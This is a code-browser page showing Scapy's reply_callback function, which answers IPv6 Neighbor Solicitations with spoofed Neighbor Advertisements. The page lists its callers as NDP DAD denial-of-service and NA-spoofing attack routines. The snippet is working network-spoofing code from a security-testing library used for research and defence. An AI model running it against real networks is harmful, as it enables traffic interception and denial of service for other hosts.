MCPcopy Index your code
hub / github.com/secdev/scapy / reply_callback

Function reply_callback

scapy/layers/inet6.py:3837–3859  ·  view source on GitHub ↗

Callback that reply to a NS with a spoofed NA

(req, reply_mac, router, iface)

Source from the content-addressed store, hash-verified

3835 return 1
3836
3837 def reply_callback(req, reply_mac, router, iface):
3838 """
3839 Callback that reply to a NS with a spoofed NA
3840 """
3841
3842 # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
3843 # send it back.
3844 mac = req[Ether].src
3845 pkt = req[IPv6]
3846 src = pkt.src
3847 tgt = req[ICMPv6ND_NS].tgt
3848 rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src)
3849 # Use the target field from the NS
3850 rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # noqa: E741
3851
3852 # "If the solicitation IP Destination Address is not a multicast
3853 # address, the Target Link-Layer Address option MAY be omitted"
3854 # Given our purpose, we always include it.
3855 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3856
3857 sendp(rep, iface=iface, verbose=0)
3858
3859 print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3860
3861 if not iface:
3862 iface = conf.iface

Callers 2

_NDP_Attack_DAD_DoSFunction · 0.85
NDP_Attack_NA_SpoofingFunction · 0.85

Calls 5

EtherClass · 0.90
sendpFunction · 0.90
IPv6Class · 0.85
ICMPv6ND_NAClass · 0.85

Tested by

no test coverage detected